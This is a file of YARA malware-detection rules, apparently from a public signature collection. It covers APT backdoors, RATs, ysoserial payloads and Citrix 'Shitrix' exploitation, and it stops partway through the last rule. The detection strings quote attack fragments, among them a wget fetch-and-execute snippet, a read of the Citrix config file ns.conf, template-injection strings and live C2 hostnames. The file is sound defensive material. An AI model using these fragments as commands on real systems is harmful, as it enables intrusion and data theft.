rule M_APT_Downloader_BOOMMIC
{
	meta:
		author = "Mandiant"
		description = "Rule looking for BOOMMIC malware"
		reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
		date = "2022-04-28"
		score = 75
		id = "34ea08a6-5d6f-5cdd-a629-fa36313c98f7"

	strings:
		$loc_10001000 = { 55 8B EC 8D 45 0C 50 8B 4D 08 51 6A 02 FF 15 [4] 85 C0 74 09 B8 01 00 00 00 EB 04 EB 02 33 C0 5D C3 }
		$loc_100012fd = {6A 00 8D 55 EC 52 8B 45 D4 50 6A 05 8B 4D E4 51 FF 15 }
		$func1 = "GetComputerNameExA" ascii
		$func2 = "HttpQueryInfoA" ascii

	condition:
		uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 1MB and ( ( $loc_10001000 and $func1 ) or ( $loc_100012fd and $func2 ) )
}

rule Tofu_Backdoor
{
	meta:
		description = "Detects Tofu Trojan"
		author = "Cylance"
		reference = "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html"
		date = "2017-02-28"
		id = "03848366-f139-5352-959d-390992d96296"

	strings:
		$a = "Cookies: Sym1.0"
		$b = "\\\\.\\pipe\\1[12345678]"
		$c = {66 0F FC C1 0F 11 40 D0 0F 10 40 D0 66 0F EF C2 0F 11 40 D0 0F 10 40 E0}

	condition:
		$a or $b or $c
}

rule Ysoserial_Payload_MozillaRhino1
{
	meta:
		description = "Ysoserial Payloads - file MozillaRhino1.bin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/frohoff/ysoserial"
		date = "2017-02-04"
		hash1 = "0143fee12fea5118be6dcbb862d8ba639790b7505eac00a9f1028481f874baa8"
		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"

	strings:
		$s3 = "ysoserial.payloads" fullword ascii

	condition:
		( uint16( 0 ) == 0xedac and filesize < 40KB and all of them )
}

rule Ysoserial_Payload_C3P0
{
	meta:
		description = "Ysoserial Payloads - file C3P0.bin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/frohoff/ysoserial"
		date = "2017-02-04"
		hash1 = "9932108d65e26d309bf7d97d389bc683e52e91eb68d0b1c8adfe318a4ec6e58b"
		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"

	strings:
		$x1 = "exploitppppw" fullword ascii

	condition:
		( uint16( 0 ) == 0xedac and filesize < 3KB and all of them )
}

rule Ysoserial_Payload_Spring1
{
	meta:
		description = "Ysoserial Payloads - file Spring1.bin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/frohoff/ysoserial"
		date = "2017-02-04"
		hash1 = "bf9b5f35bc1556d277853b71da24faf23cf9964d77245018a0fdf3359f3b1703"
		hash2 = "9c0be107d93096066e82a5404eb6829b1daa6aaa1a7b43bcda3ddac567ce715a"
		hash3 = "8cfa85c16d37fb2c38f277f39cafb6f0c0bd7ee62b14d53ad1dd9cb3f4b25dd8"
		hash4 = "5c44482350f1c6d68749c8dec167660ca6427999c37bfebaa54f677345cdf63c"
		hash5 = "95f966f2e8c5d0bcdfb34e603e3c0b911fa31fc960308e41fcd4459e4e07b4d1"
		hash6 = "1da04d838141c64711d87695a4cdb4eedfd4a206cc80922a41cfc82df8e24187"
		hash7 = "adf895fa95526c9ce48ec33297156dd69c3dbcdd2432000e61b2dd34ffc167c7"
		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"

	strings:
		$x1 = "ysoserial/Pwner" ascii

	condition:
		1 of them
}

rule Ysoserial_Payload
{
	meta:
		description = "Ysoserial Payloads"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/frohoff/ysoserial"
		date = "2017-02-04"
		super_rule = 1
		hash1 = "9c0be107d93096066e82a5404eb6829b1daa6aaa1a7b43bcda3ddac567ce715a"
		hash2 = "adf895fa95526c9ce48ec33297156dd69c3dbcdd2432000e61b2dd34ffc167c7"
		hash3 = "1da04d838141c64711d87695a4cdb4eedfd4a206cc80922a41cfc82df8e24187"
		hash4 = "5c44482350f1c6d68749c8dec167660ca6427999c37bfebaa54f677345cdf63c"
		hash5 = "747ba6c6d88470e4d7c36107dfdff235f0ed492046c7ec8a8720d169f6d271f4"
		hash6 = "f0d2f1095da0164c03a0e801bd50f2f06793fb77938e53b14b57fd690d036929"
		hash7 = "5466d47363e11cd1852807b57d26a828728b9d5a0389214181b966bd0d8d7e56"
		hash8 = "95f966f2e8c5d0bcdfb34e603e3c0b911fa31fc960308e41fcd4459e4e07b4d1"
		hash9 = "1fea8b54bb92249203d68d5564a01599b42b46fc3a828fe0423616ee2a2f2d99"
		hash10 = "0143fee12fea5118be6dcbb862d8ba639790b7505eac00a9f1028481f874baa8"
		hash11 = "8cfa85c16d37fb2c38f277f39cafb6f0c0bd7ee62b14d53ad1dd9cb3f4b25dd8"
		hash12 = "bf9b5f35bc1556d277853b71da24faf23cf9964d77245018a0fdf3359f3b1703"
		hash13 = "f756c88763d48cb8d99e26b4773eb03814d0bd9bd467cc743ebb1479b2c4073e"
		id = "c269e032-b6ce-5faa-b3ce-a5304f3e9dab"

	strings:
		$x1 = "ysoserial/payloads/" ascii
		$s1 = "StubTransletPayload" fullword ascii
		$s2 = "Pwnrpw" fullword ascii

	condition:
		( uint16( 0 ) == 0xedac and filesize < 40KB and $x1 ) or ( all of them )
}

rule Ysoserial_Payload_3
{
	meta:
		description = "Ysoserial Payloads - from files JavassistWeld1.bin, JBossInterceptors.bin"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/frohoff/ysoserial"
		date = "2017-02-04"
		super_rule = 1
		hash1 = "f0d2f1095da0164c03a0e801bd50f2f06793fb77938e53b14b57fd690d036929"
		hash2 = "5466d47363e11cd1852807b57d26a828728b9d5a0389214181b966bd0d8d7e56"
		id = "7fb67f48-66dc-57a4-9075-49b2277fa186"

	strings:
		$x1 = "ysoserialq" fullword ascii
		$s1 = "targetClassInterceptorMetadatat" fullword ascii
		$s2 = "targetInstancet" fullword ascii
		$s3 = "targetClassL" fullword ascii
		$s4 = "POST_ACTIVATEsr" fullword ascii
		$s5 = "PRE_DESTROYsq" fullword ascii

	condition:
		( uint16( 0 ) == 0xedac and filesize < 10KB and $x1 ) or ( all of them )
}

rule EXPL_Shitrix_Exploit_Code_Jan20_1 : FILE
{
	meta:
		description = "Detects payloads used in Shitrix exploitation CVE-2019-19781"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://isc.sans.edu/forums/diary/Citrix+ADC+Exploits+Overview+of+Observed+Payloads/25704/"
		date = "2020-01-13"
		score = 70
		id = "7fab3a9b-82a5-573a-b210-2ae65f1a7f24"

	strings:
		$s01 = "/netscaler/portal/scripts/rmpm.pl" ascii
		$s02 = "tee /netscaler/portal/templates/" ascii
		$s03 = "exec(\\'(wget -q -O- http://" ascii
		$s04 = "cd /netscaler/portal; ls" ascii
		$s05 = "cat /flash/nsconfig/ns.conf" ascii
		$s06 = "/netscaler/portal/scripts/PersonalBookmak.pl" ascii
		$s07 = "template.new({'BLOCK'='print readpipe(" ascii
		$s08 = "pwnpzi1337" fullword ascii
		$s09 = "template.new({'BLOCK'="
		$s10 = "template.new({'BLOCK'%3d"
		$s11 = "my ($citrixmd, %FORM);"
		$s12 = "(CMD, \"($citrixmd) 2>&1"
		$b1 = "NSC_USER:" ascii nocase
		$b2 = "NSC_NONCE:" ascii nocase
		$b3 = "/../" ascii

	condition:
		1 of ( $s* ) or all of ( $b* )
}

rule MAL_Backdoor_Naikon_APT_Sample1
{
	meta:
		description = "Detects backdoors related to the Naikon APT"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/7vHyvh"
		date = "2015-05-14"
		modified = "2023-01-06"
		hash = "d5716c80cba8554eb79eecfb4aa3d99faf0435a1833ec5ef51f528146c758eba"
		hash = "f5ab8e49c0778fa208baad660fe4fa40fc8a114f5f71614afbd6dcc09625cb96"
		id = "ba79285b-7c7f-5b19-837e-6696e50a2866"

	strings:
		$x0 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
		$x1 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
		$x2 = "greensky27.vicp.net" fullword ascii
		$x3 = "\\tempvxd.vxd.dll" wide
		$x5 = "otna.vicp.net" fullword ascii
		$s1 = "User-Agent: webclient" fullword ascii
		$s2 = "\\User.ini" ascii
		$s3 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/200" ascii
		$s4 = "\\UserProfile.dll" wide
		$s5 = "Connection:Keep-Alive: %d" fullword ascii
		$s6 = "Referer: http://%s:%d/" ascii
		$s7 = "%s %s %s %d %d %d " fullword ascii
		$s8 = "%s--%s" fullword wide
		$s9 = "Run File Success!" fullword wide
		$s10 = "DRIVE_REMOTE" fullword wide
		$s11 = "ProxyEnable" fullword wide
		$s12 = "\\cmd.exe" wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $x* ) or 7 of ( $s* ) )
}

rule MAL_CRIME_suspicious_hex_string_Jun21_1 : CRIME PE
{
	meta:
		author = "Nils Kuhnert"
		date = "2021-06-04"
		description = "Triggers on parts of a big hex string available in lots of crime'ish PE files."
		hash1 = "37d60eb2daea90a9ba275e16115848c95e6ad87d20e4a94ab21bd5c5875a0a34"
		hash2 = "3380c8c56d1216fe112cbc8f1d329b59e2cd2944575fe403df5e5108ca21fc69"
		hash3 = "cd283d89b1b5e9d2875987025009b5cf6b137e3441d06712f49e22e963e39888"
		hash4 = "404efa6fb5a24cd8f1e88e71a1d89da0aca395f82d8251e7fe7df625cd8e80aa"
		hash5 = "479bf3fb8cff50a5de3d3742ab4b485b563b8faf171583b1015f80522ff4853e"
		id = "2ad208fa-c7a5-5df9-96fe-4a84dc770f0f"

	strings:
		$a1 = "07032114130C0812141104170C0412147F6A6A0C041F321104130C0412141104030C0412141104130C0412141104130C0412141104130C0412141104130C0412141104130C0412141104130C0412141122130C0412146423272A711221112B1C042734170408622513143D20262B0F323038692B312003271C170B3A2F286623340610241F001729210579223202642200087C071C17742417020620141462060F12141104130C0412141214001C0412011100160C0C002D2412130C0412141104130C04121A11041324001F140122130C0134171" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10MB and all of them
}

rule MAL_CRIME_Unknown_LNK_Jun21_1 : LNK POWERSHELL
{
	meta:
		author = "Nils Kuhnert"
		date = "2021-06-04"
		description = "Triggers on malicious link files which calls powershell with an obfuscated payload and downloads an HTA file."
		hash1 = "8fc7f25da954adcb8f91d5b0e1967e4a90ca132b280aa6ae73e150b55d301942"
		hash2 = "f5da192f4e4dfb6b728aee1821d10bec6d68fb21266ce32b688e8cae7898a522"
		hash3 = "183a9b3c04d16a1822c788d7a6e78943790ee2cdeea12a38e540281091316e45"
		hash4 = "a38c6aa3e1c429a27226519b38f39f03b0b1b9d75fd43cd7e067c5e542967afe"
		hash5 = "455f7b6b975fb8f7afc6295ec40dae5696f5063d1651f3b2477f10976a3b67b2"
		id = "d1aac420-fd91-5577-8efd-fcdd7f733981"

	strings:
		$uid = "S-1-5-21-1437133880-1006698037-385855442-1004" wide

	condition:
		uint16( 0 ) == 0x004c and all of them
}

rule MAL_CRIME_Unknown_ISO_Jun21_1 : ISO POWERSHELL LNK
{
	meta:
		author = "Nils Kuhnert"
		date = "2021-06-04"
		description = "Triggers on ISO files that mimick NOBELIUM TTPs, but uses LNK files that call powershell instead."
		hash1 = "425dbed047dd2ce760d0848ebf7ad04b1ca360f111d557fc7bf657ae89f86d36"
		hash2 = "f6944b6bca627e219d9c5065f214f95eb2226897a3b823b645d0fd78c281b149"
		hash3 = "14d70a8bdd64e9a936c2dc9caa6d4506794505e0e3870e3a25d9d59bcafb046e"
		hash4 = "9b2ca8eb6db34b07647a74171a5ff4c0a2ca8000da9876ed2db6361958c5c080"
		id = "73a1fc44-45c4-5253-b81d-fa6686dc0644"

	strings:
		$uid = "S-1-5-21-1437133880-1006698037-385855442-1004" wide
		$magic = "CD001" ascii

	condition:
		filesize < 5MB and all of them
}

rule Susp_Indicators_EXE
{
	meta:
		description = "Detects packed NullSoft Inst EXE with characteristics of NetWire RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://pastebin.com/8qaiyPxs"
		date = "2018-01-05"
		score = 60
		hash1 = "6de7f0276afa633044c375c5c630740af51e29b6a6f17a64fbdd227c641727a4"
		id = "b4015c24-d18e-51eb-9854-8cc0e6dba4d0"

	strings:
		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion"
		$s2 = "Error! Bad token or internal error" fullword ascii
		$s3 = "CRYPTBASE" fullword ascii
		$s4 = "UXTHEME" fullword ascii
		$s5 = "PROPSYS" fullword ascii
		$s6 = "APPHELP" fullword ascii

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3c ) ) == 0x4550 and filesize < 700KB and all of them
}

rule Suspicious_BAT_Strings
{
	meta:
		description = "Detects a string also used in Netwire RAT auxilliary"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		reference = "https://pastebin.com/8qaiyPxs"
		date = "2018-01-05"
		id = "5fe28555-96c8-54da-b047-7d0a7532a6d2"

	strings:
		$s1 = "ping 192.0.2.2 -n 1" ascii

	condition:
		filesize < 600KB and 1 of them
}

rule Malicious_BAT_Strings
{
	meta:
		description = "Detects a string also used in Netwire RAT auxilliary"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 60
		reference = "https://pastebin.com/8qaiyPxs"
		date = "2018-01-05"
		id = "6e197d05-62eb-535d-8cd6-db8550e51588"

	strings:
		$s1 = "call :deleteSelf&exit /b"

	condition:
		filesize < 600KB and 1 of them
}

import "pe"

rule APT_TA18_149A_Joanap_Sample1
{
	meta:
		description = "Detects malware from TA18-149A report by US-CERT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
		date = "2018-05-30"
		hash1 = "ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781"
		id = "a3a4f9a6-367d-5d99-bffb-f4ff03fa4a09"

	strings:
		$x1 = "cmd.exe /q /c net share adnim$" ascii
		$x2 = "\\\\%s\\adnim$\\system32\\%s" fullword ascii
		$s1 = "SMB_Dll.dll" fullword ascii
		$s2 = "%s User or Password is not correct!" fullword ascii
		$s3 = "perfw06.dat" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "f0087d7b90876a2769f2229c6789fcf3" or 1 of ( $x* ) or 2 of them )
}

import "pe"

rule APT_TA18_149A_Joanap_Sample2
{
	meta:
		description = "Detects malware from TA18-149A report by US-CERT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
		date = "2018-05-30"
		hash1 = "077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885"
		id = "9f4e6e6c-ee2b-5fa3-bf85-5a1652b38c52"

	strings:
		$s1 = "%SystemRoot%\\system32\\svchost.exe -k Wmmvsvc" fullword ascii
		$s2 = "%SystemRoot%\\system32\\svchost.exe -k SCardPrv" fullword ascii
		$s3 = "%SystemRoot%\\system32\\Wmmvsvc.dll" fullword ascii
		$s4 = "%SystemRoot%\\system32\\scardprv.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( pe.imphash ( ) == "e8cd12071a8e823ebc434c8ee3e23203" or 2 of them )
}

import "pe"

rule APT_TA18_149A_Joanap_Sample3
{
	meta:
		description = "Detects malware from TA18-149A report by US-CERT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
		date = "2018-05-30"
		hash1 = "a1c483b0ee740291b91b11e18dd05f0a460127acfc19d47b446d11cd0e26d717"
		id = "1c2551bc-01dd-5b30-a4cc-703a868cde73"

	strings:
		$s1 = "mssvcdll.dll" fullword ascii
		$s2 = "https://www.google.com/index.html" fullword ascii
		$s3 = "LOGINDLG" fullword wide
		$s4 = "rundll" fullword ascii
		$s5 = "%%s\\%%s%%0%dd.%%s" fullword ascii
		$s6 = "%%s\\%%s%%0%dd" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and ( pe.imphash ( ) == "f6f7b2e00921129d18061822197111cd" or 3 of them )
}

rule EXT_APT_Bitter_Win32k_0day_Feb21
{
	meta:
		description = "Detects code that exploits a Windows 0day exploited by Bitter APT group"
		author = "dbappsecurity_lieying_lab"
		date = "2021-01-01"
		reference = "https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/"
		id = "b1892b52-4b94-5571-ad63-8750a321f1f2"

	strings:
		$s1 = "NtUserConsoleControl" ascii wide
		$s2 = "NtCallbackReturn" ascii wide
		$s3 = "CreateWindowEx" ascii wide
		$s4 = "SetWindowLong" ascii wide
		$a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A}
		$a2 = {66 0F 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1}
		$a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1}

	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* ) and 1 of ( $a* )
}

import "pe"

rule CMStar_Malware_Sep17
{
	meta:
		description = "Detects CMStar Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/pTffPA"
		date = "2017-10-03"
		hash1 = "16697c95db5add6c1c23b2591b9d8eec5ed96074d057b9411f0b57a54af298d5"
		id = "d6c9cd7f-06ce-5641-b9b2-c81daf18628d"

	strings:
		$s1 = "UpdateService.tmp" fullword ascii
		$s2 = "StateNum:%d,FileSize:%d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.imphash ( ) == "22021985de78a48ea8fb82a2ff9eb693" or pe.exports ( "WinCred" ) or all of them )
}

rule PROMETHIUM_NEODYMIUM_Malware_1
{
	meta:
		description = "Detects PROMETHIUM and NEODYMIUM malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/8abDE6"
		date = "2016-12-14"
		hash1 = "e12031da58c0b08e8b610c3786ca2b66fcfea8ddc9ac558d08a29fd27e95a3e7"
		id = "21e858b1-2cfa-5757-96f0-7c44a5da6898"

	strings:
		$s1 = "c:\\Windows\\system32\\syswindxr32.dll" fullword wide
		$s2 = "c:\\windows\\temp\\TrueCrypt-Setup-7.1a-tamindir.exe" fullword wide
		$s3 = "%s\\ssleay32.dll" fullword wide
		$s4 = "%s\\libeay32.dll" fullword wide
		$s5 = "%s\\fprot32.exe" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 10000KB and 3 of them ) or ( all of them )
}

rule PROMETHIUM_NEODYMIUM_Malware_2
{
	meta:
		description = "Detects PROMETHIUM and NEODYMIUM malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/8abDE6"
		date = "2016-12-14"
		hash1 = "1aef507c385a234e8b10db12852ad1bd66a04730451547b2dcb26f7fae16e01f"
		id = "5858541b-c394-5be8-9db3-fcff66f635de"

	strings:
		$s1 = "winasys32.exe" fullword ascii
		$s2 = "alg32.exe" fullword ascii
		$s3 = "wmsrv32.exe" fullword ascii
		$s4 = "vmnat32.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them ) or ( 3 of them )
}

rule PROMETHIUM_NEODYMIUM_Malware_3
{
	meta:
		description = "Detects PROMETHIUM and NEODYMIUM malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/8abDE6"
		date = "2016-12-14"
		hash1 = "2f98ac11c78ad1b4c5c5c10a88857baf7af43acb9162e8077709db9d563bcf02"
		id = "bff79813-0d72-50d9-9676-794801edc34b"

	strings:
		$s1 = "%s SslHandshakeDone(%d) %d. Secure connection with %s, cipher %s, %d secret bits (%d total), session reused=%s" fullword ascii
		$s2 = "mvhost32.dll" fullword ascii
		$s3 = "sdwin32.dll" fullword ascii
		$s4 = "ofx64.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 2 of them ) or ( all of them )
}

rule PROMETHIUM_NEODYMIUM_Malware_4
{
	meta:
		description = "Detects PROMETHIUM and NEODYMIUM malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/8abDE6"
		date = "2016-12-14"
		hash1 = "15ededb19ec5ab6f03db1106d2ccdeeacacdb8cd708518d065cacb1b0d7e955d"
		id = "4e926b1c-bf10-5337-8c3a-964008a37d8b"

	strings:
		$s1 = "c:\\windows\\temp\\winrar.exe" fullword wide
		$s2 = "info@aadobetech.com" fullword ascii
		$s3 = "%s\\ssleay32.dll" fullword wide
		$s4 = "%s\\libeay32.dll" fullword wide
		$s5 = "%s\\fprot32.exe" fullword wide
		$s6 = "ADOBE Corp.1" fullword ascii
		$s7 = "Adobe Flash Player1\"0 " fullword ascii
		$s8 = "Windows Index Services" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 700KB and 4 of them ) or ( 6 of them )
}

rule PROMETHIUM_NEODYMIUM_Malware_5
{
	meta:
		description = "Detects PROMETHIUM and NEODYMIUM malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/8abDE6"
		date = "2016-12-14"
		hash1 = "a8b7e3edaa18c6127e98741503c3a2a66b7720d2abd967c94b8a5f2e99575ac5"
		id = "4bd60f61-a595-5289-9595-a7e33f265748"

	strings:
		$s1 = "Winxsys.exe" fullword wide
		$s2 = "%s\\ssleay32.dll" fullword wide
		$s3 = "%s\\libeay32.dll" fullword wide
		$s4 = "Windows Index Services" fullword wide
		$s5 = "<F RAT" fullword ascii
		$s6 = "WININDX-088FA840-B10D-11D3-BC36-006067709674" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 5000KB and 3 of them )
}

rule PROMETHIUM_NEODYMIUM_Malware_6
{
	meta:
		description = "Detects PROMETHIUM and NEODYMIUM malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/8abDE6"
		date = "2016-12-14"
		hash1 = "dbd8cbbaf59d19cf7566042945e36409cd090bc711e339d3f2ec652bc26d6a03"
		id = "0f36eb56-39d8-536c-93ff-4a2352163612"

	strings:
		$s1 = "c:\\Windows\\system32\\syswindxr32.dll" fullword wide
		$s2 = "c:\\windows\\temp\\TrueCrypt-7.2.exe" fullword wide
		$s3 = "%s\\ssleay32.dll" fullword wide
		$s4 = "%s\\libeay32.dll" fullword wide
		$s5 = "%s\\fprot32.exe" fullword wide
		$s6 = "Windows Index Services" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 7000KB and 4 of them )
}

rule HttpBrowser_RAT_dropper_Gen1
{
	meta:
		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://snip.ly/giNB"
		date = "2015-08-06"
		score = 70
		hash1 = "808de72f1eae29e3c1b2c32be1b84c5064865a235866edf5e790d2a7ba709907"
		hash2 = "f6f966d605c5e79de462a65df437ddfca0ad4eb5faba94fc875aba51a4b894a7"
		hash3 = "f424965a35477d822bbadb821125995616dc980d3d4f94a68c87d0cd9b291df9"
		hash4 = "01441546fbd20487cb2525a0e34e635eff2abe5c3afc131c7182113220f02753"
		hash5 = "8cd8159f6e4689f572e2087394452e80e62297af02ca55fe221fe5d7570ad47b"
		hash6 = "10de38419c9a02b80ab7bf2f1f1f15f57dbb0fbc9df14b9171dc93879c5a0c53"
		hash7 = "c2fa67e970d00279cec341f71577953d49e10fe497dae4f298c2e9abdd3a48cc"
		id = "2e347024-ac5f-5e8c-a8b0-53eaa9a03979"

	strings:
		$x1 = "1001=cmd.exe" fullword ascii
		$x2 = "1003=ShellExecuteA" fullword ascii
		$x3 = "1002=/c del /q %s" fullword ascii
		$x4 = "1004=SetThreadPriority" fullword ascii
		$op0 = { e8 71 11 00 00 83 c4 10 ff 4d e4 8b f0 78 07 8b }
		$op1 = { e8 85 34 00 00 59 59 8b 86 b4 }
		$op2 = { 8b 45 0c 83 38 00 0f 84 97 }
		$op3 = { 8b 45 0c 83 38 00 0f 84 98 }
		$op4 = { 89 7e 0c ff 15 a0 50 40 00 59 8b d8 6a 20 59 8d }
		$op5 = { 56 8d 85 cd fc ff ff 53 50 88 9d cc fc ff ff e8 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of ( $x* ) and 1 of ( $op* )
}

rule HttpBrowser_RAT_Sample1
{
	meta:
		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample update.hancominc.com"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://snip.ly/giNB"
		date = "2015-08-06"
		score = 80
		hash1 = "be334d1f8fa65a723af65200a166c2bbdb06690c8b30fafe772600e4662fc68b"
		hash2 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
		id = "8babf47f-006c-5001-9753-08ac08f5e861"

	strings:
		$s0 = "update.hancominc.com" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and $s0
}

rule HttpBrowser_RAT_Sample2
{
	meta:
		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://snip.ly/giNB"
		date = "2015-08-06"
		score = 80
		hash1 = "c57c5a2c322af2835ae136b75283eaaeeaa6aa911340470182a9983ae47b8992"
		id = "693d381f-50b0-5f06-b725-78243b67092c"

	strings:
		$s0 = "nKERNEL32.DLL" fullword wide
		$s1 = "WUSER32.DLL" fullword wide
		$s2 = "mscoree.dll" fullword wide
		$s3 = "VPDN_LU.exeUT" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 250KB and all of them
}

rule HttpBrowser_RAT_Gen
{
	meta:
		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Generic"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://snip.ly/giNB"
		date = "2015-08-06"
		score = 90
		hash1 = "0299493ccb175d452866f5e21d023d3e92cd8d28452517d1d19c0f05f2c5ca27"
		hash2 = "065d055a90da59b4bdc88b97e537d6489602cb5dc894c5c16aff94d05c09abc7"
		hash3 = "05c7291db880f94c675eea336ecd66338bd0b1d49ad239cc17f9df08106e6684"
		hash4 = "07133f291fe022cd14346cd1f0a649aa2704ec9ccadfab809ca9c48b91a7d81b"
		hash5 = "0f8893e87ddec3d98e39a57f7cd530c28e36d596ea0a1d9d1e993dc2cae0a64d"
		hash6 = "108e6633744da6efe773eb78bd0ac804920add81c3dde4b26e953056ac1b26c5"
		hash7 = "1052ad7f4d49542e4da07fa8ea59c15c40bc09a4d726fad023daafdf05866ebb"
		hash8 = "1277ede988438d4168bb5b135135dd3b9ae7d9badcdf1421132ca4692dd18386"
		hash9 = "19be90c152f7a174835fd05a0b6f722e29c648969579ed7587ae036679e66a7b"
		hash10 = "1e7133bf5a9fe5e462321aafc2b7770b8e4183a66c7fef14364a0c3f698a29af"
		hash11 = "2264e5e8fcbdcb29027798b200939ecd8d1d3ad1ef0aef2b8ce7687103a3c113"
		hash12 = "2a1bdeb0a021fb0bdbb328bd4b65167d1f954c871fc33359cb5ea472bad6e13e"
		hash13 = "259a2e0508832d0cf3f4f5d9e9e1adde17102d2804541a9587a9a4b6f6f86669"
		hash14 = "240d9ce148091e72d8f501dbfbc7963997d5c2e881b4da59a62975ddcbb77ca2"
		hash15 = "211a1b195cf2cc70a2caf8f1aafb8426eb0e4bae955e85266490b12b5322aa16"
